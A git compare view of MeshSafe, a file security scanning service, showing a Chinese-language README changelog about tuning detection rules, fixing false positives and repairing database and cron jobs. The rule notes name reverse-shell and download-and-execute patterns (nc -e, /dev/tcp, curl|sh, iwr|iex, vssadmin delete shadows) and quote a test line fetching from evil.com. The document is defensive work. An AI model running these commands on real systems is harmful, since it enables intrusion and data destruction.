Compare commits
31 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 21aa657ff4 | |||
| c581bfc4bb | |||
| f1a176aae0 | |||
| b6a004bdb7 | |||
| 64b682319e | |||
| 1079ca16de | |||
| bc486df250 | |||
| 9834930299 | |||
| 144431b300 | |||
| c0cb292350 | |||
| da8496adfd | |||
| 5d3c895542 | |||
| 1222238bf3 | |||
| a8f5733bb7 | |||
| efeea7e906 | |||
| d697f8a2f4 | |||
| d99d179f0b | |||
| a372ee5a08 | |||
| 43cfb0fe69 | |||
| 5c776785b9 | |||
| 1a0a24e672 | |||
| 26c4ad396f | |||
| 5e4ea397aa | |||
| 57d89b3d05 | |||
| 6e3c1a40e5 | |||
| 43b4db85e7 | |||
| 2daa3fcd3c | |||
| da05c544e9 | |||
| f99452d553 | |||
| d520cbff1f | |||
| d05537e1fb |
3
.gitignore
vendored
3
.gitignore
vendored
@@ -45,6 +45,9 @@ Thumbs.db
|
||||
benchmark_report*.json
|
||||
out.json
|
||||
|
||||
# 打包快照(含 .env 副本,不入库)
|
||||
/MeshSafe.zip
|
||||
|
||||
# 截图
|
||||
/.screenshots/
|
||||
|
||||
|
||||
220
README.md
220
README.md
@@ -1,6 +1,6 @@
|
||||
# MeshSafe · 文件安全检测服务
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
@@ -171,7 +171,7 @@ MeshSafe 会**分析宏的实际行为**:
|
||||
| 可执行程序结构分析 | 异常特征、签名目录、导入表 |
|
||||
| 外部链接与二维码提取 | 文档和图片 |
|
||||
| 恶意链接库查询 | 分级处置 |
|
||||
| 零容忍规则集(15 条) | 打开即执行载体全覆盖 |
|
||||
| 零容忍规则集(25 条) | 打开即执行载体全覆盖 + 高危行为词表 |
|
||||
| 宏行为例外机制 | 合法公文模板受控放行 |
|
||||
| 引擎故障安全降级 | 任何检测引擎不可用时整体拒绝(安全优先) |
|
||||
| 同步 + 异步双模式 | 小文件同步返回,大文件异步轮询 |
|
||||
@@ -200,6 +200,175 @@ MeshSafe 会**分析宏的实际行为**:
|
||||
|
||||
## 版本历史
|
||||
|
||||
### v0.2.4 (2026-11-02)
|
||||
|
||||
**误报清零专项(现场反馈的三类误判):**
|
||||
|
||||
真实 PPT(内嵌图表对象)、电脑上正常无病毒的 EXE/DLL、写有安装命令的 skill.md 文档,在旧策略下分别被判「中危可疑」「严重拒绝」「零容忍拒绝」。根因不是某一个规则,而是**弱信号可以靠权重堆叠越过 block_score=70**,以及**关键词/YARA 用裸子串匹配**。本轮把"载体信号"和"行为信号"彻底分档,行为如下:
|
||||
|
||||
- **文档内嵌对象分级** — `documents.py _scan_ooxml()` 不再把 zip 目录条目当成内嵌对象;对 `ppt/embeddings/*` 逐条做**魔数嗅探**:MZ/ELF/Mach-O 或 `.exe/.dll/.js/...` → `EmbeddedExecutable`(严重 75,零容忍);Office 部件(`.bin` 里装的是 OLE/子文档)→ `EmbeddedObject`(低危 5);其余 → 中危 20。正常 PPT 的图表/嵌入对象不再产生 20 分可疑
|
||||
- **YARA 判定改用导入表邻接窗口** — `pe.yar` 全面重写:API 名必须在**同一张导入名表内相邻 512B**才算命中(`$b in (@a[i]-512..@a[i]+512)`),导出表、i18n 资源、语言包里的字符串堆不再触发;RAT 规则要求真实 C2 痕迹(IP:端口 / .exe URL / 网关面板 php),打包器 UPX 降为 low
|
||||
- **Linux/脚本规则去恒真** — `linux.yar` 修掉 `$a and $b` 这类"两个独立字符串同时存在即命中"的恒真写法;`ettercap/responder/nmap` 加词边界并需与攻击参数成组;`LD_PRELOAD` 只在指向可写临时目录或出现 `ld.so.preload` 时命中;`C7_Misc_Ruby_Lua_ReverseShell` 需要 `exec` 与 `TCPSocket/loadstring` 同窗口
|
||||
- **PE 信号分档(不再单独定罪)** — `binary.py`:导入 API 分三档,单个注入级 API 只记 5 分(低危),≥2 个才记 20 分;`WinExec/ShellExecuteEx/CreateService/InternetOpenUrl` 从"高危"降到能力档;`IsDebuggerPresent/GetTickCount/FindWindow` 等反调试探测记 0 分;调试信息、异常时间戳 10 → 0;未签名 20 → 10
|
||||
- **YARA 严重度取 `meta.risk_level`** — 旧版只读 tag 和规则名,规则文件里的 `risk_level` 被完全忽略;现在 severity/weight 一律先取 meta,再按 `policy.yaml yara_rule_weights` 覆盖,档位统一为 **critical=85 / high=60 / medium=30 / low=10**,44 条规则全部按 meta 重新归位
|
||||
- **可执行扩展名降为"载体分"** — `DangerousExecutableExtension` 45 → 35:单独命中仍进人工复核(≥30),但不再充当把后续中低置信度信号顶过 70 分的底座
|
||||
- **关键词引擎不再无条件删换行** — v0.2.2 的"整篇文本去换行"是 `skill.md` 误报的直接原因(上一行行尾和下一行行首黏成一句话)。改为默认按行匹配,仅显式 `cross_line: true` 的规则额外跑一遍**换行压成空格**的文本(保留分隔符,兼容续行绕过,不再产生黏连)
|
||||
- **下载类词表重写 + 移出零容忍** — 新增 `RemoteDownloadExec`(下载**即执行**:`curl|sh`、`wget -O … && chmod`、`iwr|iex`、`certutil -urlcache … .exe`、`mkfifo+nc`,40 分)与 `PayloadDropToDisk`(下载落地成 `.exe/.ps1/.so/…`,45 分);`RemoteDownloadUnix` / `RemoteDownloadPowerShell` 从"零容忍直接拒"降为 12 分信息项。裸 `curl https://…` 出现在 README/运维文档里不再拦截,内网源站另有白名单放行
|
||||
- **反弹 Shell 词表只认执行原语** — `ReverseShellNetcat` 要求 `nc|ncat|netcat` 带 `-e/-c` **且跟 shell 路径**(`/bin/`、`*sh`、`cmd.exe`),或 `/dev/tcp/`、`bash -i >&`;裸 `nc`、`nc -l`、`nc -z`(速查文档、二进制字符串表里必然出现)不再命中;英文公文里的 "NC -E" 之类缩写组合也不再误触
|
||||
- **`rules/ransom.yar` / `webshell.yar` 收尾** — 卷影删除不再接受裸 `vss` / `ShadowCopy` 子串与加密 API 同框(正常备份组件的必然组合),要求 `vssadmin … delete … shadows`;混淆 PHP 马要求存在 `<?php` 或超全局变量上下文
|
||||
|
||||
**验证结果(离线,ClamAV/DB 不在本机):**
|
||||
|
||||
| 指标 | 修复前 | 修复后 |
|
||||
|---|---|---|
|
||||
| 32 个干净样本(系统 DLL/EXE + Git/node 工具 + 真实 PPTX)裁决 | 18 malicious/reject、14 suspicious、0 pass | **0 reject**、31 manual_review(仅因"是可执行文件")、1 pass(PPTX 全程 0 命中) |
|
||||
| 2162 个真实 Windows 二进制 YARA 误报 | **407 条命中 / 14 条规则**(`C1_PE_Downloader_Loader` 单独 290 条,ActionCenter.dll 一类正常组件全中) | **4 条**,全部为 `C1_PE_ProcessInjection` 命中调试/注入基础设施组件(dbgeng.dll、ttdinject.exe、PayloadRestrictions.dll、VsGraphics*),属真实能力特征 |
|
||||
| 靶场 91 个恶意样本 YARA 覆盖 | 全部命中 | **全部命中,无一条漏检** |
|
||||
| 168 条样本逐条对账(同一离线管线,HEAD vs 本轮) | 124 Fail | 124 Fail,其中 2 条由 Fail 转 Pass,仅 `L5-005_injection_imports.exe` 从 reject 变为 manual_review(928B 占位假 PE,无导入表,旧结论完全靠权重堆叠),expected_verdict 已同步为 review |
|
||||
|
||||
**处置口径(本轮已确认,不再作为开放项):**
|
||||
|
||||
- **干净 EXE/DLL 落人工复核。** 可执行文件本身是载体,单独命中 `DangerousExecutableExtension`(35 分)落在 `review_score` 区间是设计目标,不改自动放行;"严重/拒绝"只留给真实恶意特征。
|
||||
- **调试/注入基础设施组件的命中保留,不做白名单。** dbgeng.dll、ttdinject.exe、PayloadRestrictions.dll、VsGraphics* 这 4 个 Windows 组件确实具备进程注入能力,`C1_PE_ProcessInjection` 命中它们属真阳性,**维持现状**(critical=85,单条即判恶意拒绝)。**不使用 `yara_hash_whitelist` 豁免,也不在规则里判断 Microsoft 版本信息**——版本信息可伪造,任何基于它的放行都会开出一条绕过路径;这类文件本就不该走通用摆渡通道传输,如业务确有需要,由管理员单独确认后处置。
|
||||
|
||||
**容器内实测(v0.2.4 部署后,ClamAV + PostgreSQL 全部可达):**
|
||||
|
||||
| 指标 | 结果 |
|
||||
|---|---|
|
||||
| 6 个引擎可用性 | `engine_errors` **0 条**(168 个样本全程无引擎降级) |
|
||||
| 三个原始误报复测 | `北京简介 (1).pptx` → clean/pass、0 命中(现已真正展开 61 个 OOXML 部件仍 0 命中);`SKILL.md` → clean/pass、0 命中;干净 PE(dxdiag.exe 50 分、shell32.dll 65 分、cmd.exe 45 分)→ manual_review,均低于 `block_score=70` |
|
||||
| 靶场 168 条(控制台对账口径) | **168/168 通过**(初测 4 条未过,见下) |
|
||||
|
||||
**第二轮修补的 4 条检出缺口(容器内才暴露):**
|
||||
|
||||
- **zip/OOXML 成员从未参与扫描(HEAD 既有缺陷)** — `extractor.py` 的成员写盘循环用 `while True: … if not chunk: break` 正常结束,`else:` 分支因此永不执行,解出来的成员一个都没进扫描队列:压缩包和 docx/xlsx/pptx 正文里的高危串全部放行。改为显式 `overflow` 标志后 `scanned_objects` 才真正大于 1;tar 分支同修(原先超限成员既不丢弃也不报,还把截断文件塞进队列)。这条修复让 `L3-015`(docx 正文的 `Invoke-WebRequest`)、`L3-023`(zip 内的 `mimikatz`)从 0 命中变检出。
|
||||
- **不可解析即放行** — 畸形 OLE 触发 olefile 内部异常后被 `documents.py` 的宽 `except` 兜成 `OleToolsUnavailable`,权重 0 → clean/pass。改为 medium/30,宏解析不了的文档一律进人工复核。
|
||||
- **换行拆分绕过** — `L3-009` 把 `Invoke-WebRequest` 拆成两行,`-OutFile evil.exe` 因跨行漏检。`RemoteDownloadExec`/`PayloadDropToDisk` 恢复 `cross_line`,并让 cmdlet 词容忍 `invoke-web_request`/换行拆分形态;仍要求"下载工具 + 执行或落地动作"同框,因此 `SKILL.md`、README 类文档保持 0 命中。
|
||||
- **裸下载命令权重回正** — 为压误报把 `RemoteDownloadPowerShell`/`RemoteDownloadUnix` 降到 12 分是矫枉过正:靶场里没有任何"期望放行"的样本含下载命令,误报源头是 `curl|wget -o 任意值` 这种松散写法而非权重。现改回 30/medium 并删掉裸 `-o` 分支,`L3-018`/`L3-024`/`L3-025` 随之回到 review。
|
||||
|
||||
**第三轮:生产日志暴露的 4 个问题(现场上传 `go1.25.0.windows-amd64.msi` / `nvidiaInspector.exe`):**
|
||||
|
||||
- **被拒绝的文件在库里查不到记录(留痕丢失)** — `scan_tasks.real_type` 是 `VARCHAR(256)`,而这个 MSI 的 libmagic 描述串有 **632 字符**(CFB 会把 Title/Subject/Creating Application/Number of Pages 全部拼进描述)。Postgres 对超长值不是截断存储而是**整条 INSERT 报错回滚**,因此这次扫描的记录连同 3 条 `scan_findings` 一起丢失——一个 `malicious/reject` 的文件没有任何痕迹。修复三处:模型列宽 256 → 512(`app/models.py`)、线上 `ALTER TABLE scan_tasks ALTER COLUMN real_type TYPE VARCHAR(512)`(已入 `scripts/migrate.sql` 并在 meshsafe-postgres 执行)、落库前按列宽截断 `filename/declared_ext/real_type/extracted_path`(`scanner.py` 新增 `_clip()`)。外部可控长度(libmagic 串、归档成员路径、用户文件名)从此不可能再撑爆 INSERT:实测 600 字符文件名 + 900 字符 reason + 1600 字符成员路径 → 记录与 findings 全部入库(512/512/1024)。
|
||||
- **`verdict=malicious` 却给出 `open_risk.level=low`** — 同一条日志里的自相矛盾。`compute_open_risk()` 只看命中因子,不看裁决。补上裁决下限:`malicious/error/reject` 一律至少 critical,并把 `.msi/.jar/.ps1/.lnk/.hta/…` 这类真实载体扩展名纳入 `contains_executable`。
|
||||
- **`C8_Ransomware_Note_Filename` 把 Go 官方安装包判成勒索** — 单文件实测命中量:`$wallet` **76,526 次**(`1[A-Za-z0-9]{25,34}` 无边界,任何 GUID/哈希子串都算比特币地址)、`$bitcoin` **44 次**(压缩流里的 `BTC`/`Xmr` 随机字节)、`$n4` 命中安装包内字面量 `README.txt`。三者拼出 70 分 → 官方 MSI 被拒。仓库自己的 `tests/samples/index.json` 同样中招(`ransom` 是 `Ransomware` 的子串)。重写为:文件名只保留家族专有名 + 扩展名(去掉裸 `README.txt`/`_readme.txt`,`\b_readme` 不再命中 `normal_readme.txt`);赎金语言必须是完整词组(`bitcoin address`、`send the money`、`\bransom\b note`);地址按 base58/bech32/ Monero 真实字符集与长度并用 `\b` 锚定整个 token;条件要求**文件名 + (加密 API + 赎金语言)或(赎金语言 + 钱包地址)**。修复后 MSI 该规则 0 命中,`index.json`/`_scan_results.json` 0 命中,真勒索样本 `ransom_dropper.exe.txt` 仍命中(100 分拒绝)。
|
||||
- **`PeParseFailed` 打在非 PE 容器上** — `BINARY_EXTS` 里的 `.msi/.msp/.jar/.apk/.war/.so/.elf` 本来就不是 PE,`pefile` 解析必然抛错,于是每个合法安装包/共享库白送 10 分。新增 `_is_native_container()`:内容魔数与声明格式一致(MSI=CFB、JAR/APK=ZIP、SO/ELF=ELF)→ 不做 PE 分析。真正结构损坏的 PE(`L5-010_bad_mz.exe`、0 字节 exe、截断 exe)仍照常命中。
|
||||
- **`RemoteDownloadPowerShell` 把 .NET 标识符当下载动作** — 该词表原本是裸子串 `DownloadString|DownloadFile`,`nvidiaInspector.exe` 命中 `add_DownloadFileCompleted`、`DownloadFileAsync` 两处(任何托管程序的标识符表都有),白得 30 分,把 45 分的人工复核顶成 **75 分拒绝**。现改为:cmdlet 名(`Invoke-WebRequest`/`Invoke-RestMethod`/`Start-BitsTransfer`/`BitsAdmin`)带词边界单独命中;.NET/Win32 方法名必须与 URL/IP 同框(±40 字符)才算下载。攻击链没有削弱——`macro_alert.docm` 的 `DownloadString(http://evil.com/ps1)`、`IEX (New-Object Net.WebClient)…` 仍分别命中本规则与 `RemoteDownloadExec`。
|
||||
|
||||
**第三轮复测(容器内,策略版本 `2026.10.2-9affe243`):**
|
||||
|
||||
| 指标 | 结果 |
|
||||
|---|---|
|
||||
| 靶场 168 条(控制台 tier 口径) | **168 Pass / 0 Fail**,`engine_errors` 0 条,总耗时 34.5s(最慢 `L0-020_zip_bomb.zip` 13.4s) |
|
||||
| `go1.25.0.windows-amd64.msi` | `malicious/reject 70` → **`suspicious/manual_review 30`**,仅剩 `DangerousExecutableExtension`;`real_type` 632 字符被截断到 512,记录 + findings 正常入库 |
|
||||
| .NET 标识符噪声(`add_DownloadFileCompleted`/`DownloadFileAsync`/`URLDownloadToFileA`) | **clean/pass,0 命中**(对应 `nvidiaInspector.exe` 由 75 拒绝回到 45 人工复核) |
|
||||
| 干净 PE 基线 | cmd.exe 45 / dxdiag.exe 50 / shell32.dll 65 → 全部 manual_review,均低于 `block_score=70` |
|
||||
| 勒索真样本 `ransom_dropper.exe.txt` | 仍 `malicious/reject 100`(`C8_Ransomware_Encryption` 85 + `VolumeShadow` 60 + `Note_Filename` 30) |
|
||||
|
||||
**ClamAV(L1)命中的处置链路与本轮两处修复:**
|
||||
|
||||
- **机制** — ClamAV 签名名是动态的(`Win.Trojan.Agent-1`、`Txt.Malware.Sustes-6779550-1`…),进不了 25 条静态零容忍名单,所以走**权重分档 + 阈值**:`critical=95 / EICAR=90 / 默认 malware=85 / heuristic·packed=70 / PUA=25`。`block_score=70` 意味着除 PUA 外**单条 ClamAV 命中即 `malicious/reject`**;PUA 档 25 分落 `pass_with_flag`,与其他信号叠加后进人工复核。零容忍名单里只显式登记了 `Eicar-Test-Signature`(等保"检测到即阻断",`config/policy.yaml:63`),命中直接 100 分。
|
||||
- **没有绕过口子** — 步骤 -1 的两类白名单只作用于 `keywords`(关键词白名单)和 `yara`(哈希白名单)引擎,`clamav` 的 finding 不会被过滤;宏行为例外表只覆盖 VBA 零容忍规则。`engine_failure_mode: fail_closed` 下 clamd 连不上/超时会判 `error/reject`。
|
||||
- **修复一:分档实际是死代码** — `_judge_signature()` 用小写关键字去比对 `signature.upper()`,因此 95 与 70 两档永不命中,除 EICAR/PUA 外所有签名一律落默认 85(注释里的档位与真实行为不符)。关键字改为大写后实测:`Win.Ransomware/Win.Trojan/Win.Dropper`(含 `Win.Trojan.GenericKD`)→ 95 critical,`Win.Heur.Gen`/`Win.Packed.Upx`/`Win.Riskware.Tool` → 70 high,`Unix.Coinminer`(无家族关键字)→ 85 默认,`PUA-OSX.iAdWare` → 25 medium。
|
||||
- **修复二:1G~1.5G 的文件在 L1 完全裸奔** — clamd 默认 `MaxFileSize=1G`,超限拒扫时引擎返回 `ok=True + meta.skipped` 且 **0 条 finding**,而策略 `max_file_size` 是 1.5GB → 这段区间的文件其他 5 个引擎照跑,结论可以是 `clean/pass`,即"AV 没查过"被当成"AV 没查出"。现补 `ClamAVSkippedSizeLimit`(medium/30):实测仅此一条 → `suspicious/manual_review 30`(修复前同一场景 `clean/pass 0`),与"不可扫描不放行"口径一致。
|
||||
|
||||
**第四轮:规则独立贡献数对账 + 复核地板解耦(策略版本 `2026.10.2-d3b747a4`):**
|
||||
|
||||
- **口径** — 从 `scan_findings` 重建 findings,用 `PolicyEngine.decide()` 对近 14 天 **3,661 条真实扫描**(排除 `test`/`test_center`,其中 `console_upload` 3,586 条、真实摆渡通道 75 条)做反事实重放:逐条规则剔除其全部命中后重判,处置档位变化即该规则的独立贡献。先验证重放器可信度:改造前 **3,660/3,661 = 99.97%** 与历史入库 action 一致(唯一差异是本轮之前收紧的 `RemoteDownloadUnix`)。
|
||||
- **裁决高度集中** — 60 条有命中的规则里只有 **25 条有独立贡献**,前 10 条承担 **92.6%**(1,700/1,836 次跨档)。`DangerousExecutableExtension` 一条就贡献 1,074 次(其中 1,070 次是"把可执行文件送进人工复核"这条口径本身);`OfficeEncrypted` 103 次走的是策略步骤 4 的加密分支而不是它的 25 分权重。35 条规则**独立贡献为 0**,分三类:同族冗余(`C8_*`/`Email*`/`Pdf*`/`PathTraversalBlocked`/`C7_..._NC` 总与另一条同批命中)、分数被挡(其余信号已 ≥70)、纯留痕(`PeParseFailed` 806 次命中、610 次连自己的档位都没到;`OoxmlParseFailed`/`OleToolsUnavailable`/`PEArchInfo` 权重 0)。
|
||||
- **退役必须按族,不能按条** — 按族只保留权重最高代表(C8 族留 `C8_Ransomware_Encryption`、Email 族留 `EmailAttachmentWebshell`、`PathTraversalBlocked`、`PdfOpenAction`、`Sustes`)在 3,661 条上重放:**90+90+92+76+76 条扫描裁决全部不变,零影响**;但把 35 条零贡献规则**同时**退役会让 258 条 reject 降级(255 条直接变 pass,全是 `.eml`/`.txt`/`.pdf`)——它们互为备份,批量删等于整族失明。`Txt.Malware.Sustes-*` 这类是 ClamAV 签名名,属于外部信号映射,不在可退役范围。
|
||||
- **结构风险修复:`manual_review` 覆盖从"注 65 分"改成"处置地板"** — 旧实现(`app/services/policy.py` 步骤 5)把评分强推到 65 再累加其余权重,同时跳过该规则自身权重:注进去的 65 分不是证据,任何 ≥5 分噪声叠加就翻成 reject,且显示分数与真实证据脱钩。现在步骤 5 只登记地板标志,步骤 6 全量累加权重,步骤 9(新增)在阈值裁决后把低于复核的处置抬到 `manual_review`(已是 reject 的不回退)。同时把 `DangerousExecutableExtension` 登记为 `manual_review` 覆盖——光闸"EXE/DLL/脚本不自动放行"从此由显式地板保证,不再依赖 `weight=30/35` 恰好等于 `review_score` 下界 30 这个数值巧合。
|
||||
- **第四轮复测:**
|
||||
|
||||
| 指标 | 结果 |
|
||||
|---|---|
|
||||
| 靶场 168 条(控制台 tier 口径) | **168 Pass / 0 Fail**,`engine_errors` 0 条,总耗时 34.6s(最慢 `L0-020_zip_bomb.zip` 12.3s) |
|
||||
| 3,661 条真实扫描重放 diff | 只有 **1 条**变化,且是本轮之前那处 `RemoteDownloadUnix` 收紧的预期结果;处置分布与改造前完全一致:reject 2,005 / manual_review 1,091 / pass 561 / pass_with_flag 4(放松 0 条降到 pass,收紧 0 条) |
|
||||
| 分数纠偏 | 14 条 `ArchiveContainsExecutable` 扫描 action 不变、分数由人为的 65 回落为真实的 30 |
|
||||
| 干净 PE 基线(实扫) | cmd.exe 45 / dxdiag.exe 50 / shell32.dll 65 → 全部 manual_review,与第三轮逐项一致 |
|
||||
| 解耦反证 | 把 `review_score` 下界抬到 36/40/50,或把 DEE 权重降到 10:无地板时干净可执行文件静默变 `pass_with_flag`(10~30 分放行),有地板时恒为 `manual_review` |
|
||||
|
||||
**meshsafe-cron 自查:定时任务自引入以来一次都没成功执行过。**
|
||||
|
||||
- **根因** — `Settings.admin_password` 是必填字段(`app/config.py:51`),但 cron 容器的 environment 里没有 `MESHSAFE_ADMIN_PASSWORD`。于是任何走 `app.db` → `get_settings()` 的路径在 import 阶段就抛 `ValidationError`,`archive_old_tasks.py --apply` 与 `VACUUM ANALYZE` 双双崩溃,`run()` 只往 docker 日志写一行 `❌ 返回码 1`,容器状态照常 `Up`——**任务挂了但没有任何存活信号**。时间线:必填字段来自初始提交 `16f134e`(10-28),cron 来自 `da8496a`(10-29),即从上线第一天起就没跑过。旁证:`policy_versions` 现存 10 行而归档策略是"留 5 删 5",`scan_tasks_archive` 空表。
|
||||
- **修复一(env)** — `docker-compose.yml` cron 补 `MESHSAFE_ADMIN_PASSWORD=cron-unused-placeholder`。cron 不做控制台认证,用占位值而不是复制真实口令(容器 env 会出现在 `docker inspect` 里)。实测归档 dry-run 在 cron 容器内跑通。
|
||||
- **修复二(VACUUM 事务块)** — `run_vacuum()` 原来用 `engine.begin()` 包住 `VACUUM ANALYZE`,Postgres 直接 `ActiveSqlTransaction: VACUUM cannot run inside a transaction block`,即使 env 修好,VACUUM 仍会整批失败。改为 `engine.connect().execution_options(isolation_level="AUTOCOMMIT")`;实测 6 张表 VACUUM ANALYZE 共 0.25s 全部完成。
|
||||
- **修复三(日志泄密)** — pydantic 的 `ValidationError` 会把整个 settings dict 打进 stderr,而 `run()` 原样逐行 `log.warning`,等于把 **DB 连接串(含口令)与 `MESHSAFE_MASTER_KEY` 尾部**明文写进 cron 日志。新增 `_redact()` 按 env 值替换为 `***`(覆盖 `MESHSAFE_DB_URL/MASTER_KEY/ADMIN_PASSWORD/API_KEY/API_CLIENTS`),实测两类密钥串都不再出现在输出里。
|
||||
|
||||
**ClamAV 签名库"过期":机制、阈值与一个真实缺口。**
|
||||
|
||||
- **"过期"不是失效** — .cvd 库不会到期停用,clamd 照样拿它扫描,结论照常产出。所谓过期只是**新鲜度告警**,两处阈值:引擎 `health()` 里 `signature_days_old > 7` → `status=degraded`(`app/engines/clamav.py:111`,硬编码),诊断规则 R002 用 `config/diagnostics.yaml:47` 的 `clamav_db_stale_days: 7` 出 WARN;控制台签名库面板显示"已 N 天"(`dashboard.html:408`)。当前库 `ClamAV 1.5.4/28166/Tue Oct 27 14:24:12 2026`,今天 6 天,**11-04 起变 8 天开始告警**。
|
||||
- **内网的更新方式只有离线导入** — `scripts/init_clamav.sh` 仅在库为空时试一次 `freshclam`,失败即静默降级;光闸环境里它注定失败。可用路径:外网下载 `main.cvd`/`daily.cvd`/`bytecode.cvd` → 摆渡进内网 → 控制台「📤 上传签名库」(`app/console.py:1487`,落 `/var/lib/clamav` 后给 clamd 发 SIGHUP 立即热加载,无需重启容器)。官方 daily 库每天发布,按周导入即可把库龄压在 7 天内。
|
||||
- **缺口(未修,需先定运维周期)** — 库龄只影响展示与诊断告警,`decide()` 完全不看 `signature_days_old`:签名库 30 天没更新时 L1 事实上认不出新病毒,文件照样可能是 `clean/pass`。这与"不可扫描内容不得放行"的口径不一致,同类先例是 `ClamAVSkippedSizeLimit`(clamd 超大小限制没查过 → 补 medium/30 进复核)。建议补 `ClamAVSignatureStale`(medium/30),阈值取**真实摆渡周期 + 缓冲**(按周导入填 10~14 天),不要直接填 7——那会让每次告警窗口把全量文件推进人工复核。
|
||||
|
||||
**遗留项(已确认,未在本轮处理):**- `scripts/init_db.py:71` 用 `scalar_one_or_none()` 取最新策略版本,表内多于 1 行即抛 `MultipleResultsFound` → compose 注释里的"YAML 灌库"步骤在已有环境上跑不通;本轮改用 `PolicyStore.save_from_dict()` 灌库(注意 `/api/v1/policies/reload` 只刷新收到请求的那一个 worker,`UVICORN_WORKERS=8` 下仍需重启才全量生效;另外 `docker compose restart api` **不会**换用刚构建的新镜像,改了 `app/` 必须 `docker compose up -d api` 重建容器)。
|
||||
- **`allow_encrypted_archive: false` 实际未生效** — `scanner.py:391` 只在 document 引擎报 `PdfEncrypted`/`OfficeEncrypted` 时置 `encrypted=True`,压缩包侧的 `EncryptedArchive` 不触发这条策略,于是策略明令禁止的加密压缩包仍以 20 分放行(`L0-024_encrypted.zip` → pass_with_flag)。补一行即可生效,但会把所有加密包从"复核"改成"拒绝",涉及真实业务流量,需先定口径。
|
||||
- **`ExtractMemberFailed` 权重 0** — 成员解压失败零成本,与上面同一类 fail-open。
|
||||
- **纯启发式签名单条即拒** — `Win.Heur.*`、`Win.Packed.*`、`Win.Trojan.GenericKD-*` 这类 ClamAV 启发式命中现在分别是 70/95 分,等于"AV 一家之言直接拦截",与"干净可执行文件只进人工复核"的口径不完全一致(启发式是 AV 误报集中区)。降档需要先有内网真实误报样本做标定,否则会把真木马放到复核队列里;本轮保持拒绝。
|
||||
- **深扫成员后的耗时** — 解包递归真正生效后:PPTX(61 个对象)5.3s、8MB DLL 2.3s、zip 炸弹样本 10.7s;扫描循环上限 2000 个对象,理论上大压缩包可在同步请求里跑到分钟级,而 `sync_max_size` 现值 512MB 基本等于全部走同步。建议按实测流量把同步阈值下调(例如 20MB)或给对象数配一个更低的上限。
|
||||
- **35 条零独立贡献规则暂不退役** — 单条退役在这 3,661 条上零影响,但它们是同族互为备份(整族一起退役会让 258 条 reject 降级),退役单位是"族"不是"条";而且本语料 97.9% 是控制台上传样本、真实摆渡通道只有 75 条、ClamAV 只在 81 条上命中,样本偏斜不足以证明这些规则在真实恶意样本上也没用。等内网积累到足量真实流量再按簇退役。
|
||||
|
||||
### v0.2.3 (2026-10-29)
|
||||
|
||||
**Bug 修复:**
|
||||
|
||||
- **Policy 加载失败(每次启动都回退 YAML)** — `policy.py _load_db_or_yaml()` 用 `scalar_one_or_none()` 加载最新策略版本,但 `policy_versions` 表有多条历史版本 → SQLAlchemy 抛 `Multiple rows` → 永远回退 YAML 配置文件,导致不同重启间规则数波动。修复为 `db.query(PolicyVersion).order_by(created_at.desc()).first()`,直接取最新一条 ORM 对象
|
||||
- **控制台任务历史被内部测试记录淹没** — `scan_tasks` 表累积 5,800+ 条内部对账/诊断脚本产生的测试数据(channel 包括 `test_center` / `v` / `verify` / `diag` / `debug` / `final` 等 19 个),dashboard 和 tasks_page 无过滤全部展示。修复:① DB 清理所有内部 channel 记录(保留 3,488 条生产数据);② console.py 加 `INTERNAL_TEST_CHANNELS` 黑名单常量,dashboard 6 个查询 + tasks_page 2 个查询全部 `.filter(ScanTask.channel.notin_(...))`
|
||||
- **测试靶场显示 "未知" 层和 "—" 编号** — 控制台用 `iterdir()` 遍历目录收集样本,但目录里混入 4 个 YARA 调试时的临时文件(`L4-005_hotreload.txt` 等),index.json 没登记 → category 取不到显示 "未知"。修复:① 清理 4 个临时文件;② `test_center_page` 改为只从 index.json 收集样本(目录遍历替换为 index.json 遍历),以后不会再出这个问题
|
||||
|
||||
**DB 与运维增强:**
|
||||
|
||||
- **ScanTask 复合索引** — 新增 `ix_scan_tasks_channel_created ON (channel, created_at DESC)`,解决 dashboard/tasks_page 高频查询的全表扫描。models.py `ScanTask.__table_args__` 也同步更新,新建实例会自动带上
|
||||
- **归档表 + 归档脚本** — 建 `scan_tasks_archive` 表(含 4 个索引);新增 `scripts/archive_old_tasks.py` 支持 4 项清理策略:
|
||||
- scan_tasks **90 天前**:清 detail JSONB(每条 1-5 KB,省空间)
|
||||
- scan_tasks **365 天前**:移到 scan_tasks_archive 归档表(CASCADE 删 ScanFinding)
|
||||
- idempotency_records:清 **7 天前**(幂等缓存过期可以重扫)
|
||||
- policy_versions:只留**最新 5 个**(历史版本无保留价值)
|
||||
- 支持 `--dry-run`(默认,只报告不动数据)+ `--apply`(真正执行),分批 1,000 条处理避免长事务锁表
|
||||
- **自动定时任务 Cron 服务** — docker-compose.yml 新增 `cron` 服务(共享 meshsafe:latest 镜像,零额外依赖,`restart: unless-stopped`),`scripts/cron_entrypoint.py` 纯 Python 调度器:
|
||||
- **每天 03:00** 跑 archive_old_tasks.py --apply
|
||||
- **每周一 03:10** VACUUM ANALYZE 5 张表(维护表统计信息,加速查询)
|
||||
|
||||
**数据增长实况:**
|
||||
|
||||
| 指标 | 值 |
|
||||
|------|---|
|
||||
| scan_tasks 当前 | 3,660 行 / 4.5 MB |
|
||||
| 日均新增 | ~523 条 |
|
||||
| 年增长 | ~19 万条 ≈ 910 MB |
|
||||
| 归档策略 | 90 天清 detail / 365 天归档 / 幂等 7 天 TTL / policy 留 5 |
|
||||
|
||||
### v0.2.2 (2026-10-29)
|
||||
|
||||
**引擎能力补全 — 测试靶场 168/168 100% 通过:**
|
||||
|
||||
- **双扩展名伪装检测重写** — `_has_double_ext()` 从 SUSPICIOUS_DOUBLE_EXT 白名单(容易漏 .js/.wsf/.vbe/.jar 等脚本伪装)改为 DANGEROUS_EXTS 黑名单作为单一事实源,覆盖 `.docx.js` / `.pdf.exe` / `.jpg.ps1` 等所有组合
|
||||
- **跨行关键词预处理** — `KeywordEngine.scan()` 匹配前把 `\r\n` / `\r` / `\n` 全部替换为空串,解决 `Invoke-Web\r\nRequest` 被 CRLF 打断导致 regex 漏匹配的问题
|
||||
- **ZIP 尾部 garbage 检测** — 新增 `_check_zip_trailing_garbage()`,在 EOCD (PK\x05\x06) 之后搜索冗余字节,识别假损坏 / 被篡改的 ZIP(Python zipfile 能正常打开但结构异常)
|
||||
- **内嵌 EICAR 字节检测** — 新增 `_check_embedded_eicar()` 作为 ClamAV 的补充(ClamAV Eicar-Test-Signature 只匹配精确 68B 纯 EICAR,任何嵌入大文件都会漏),对文本/代码文件扫描前 1MB
|
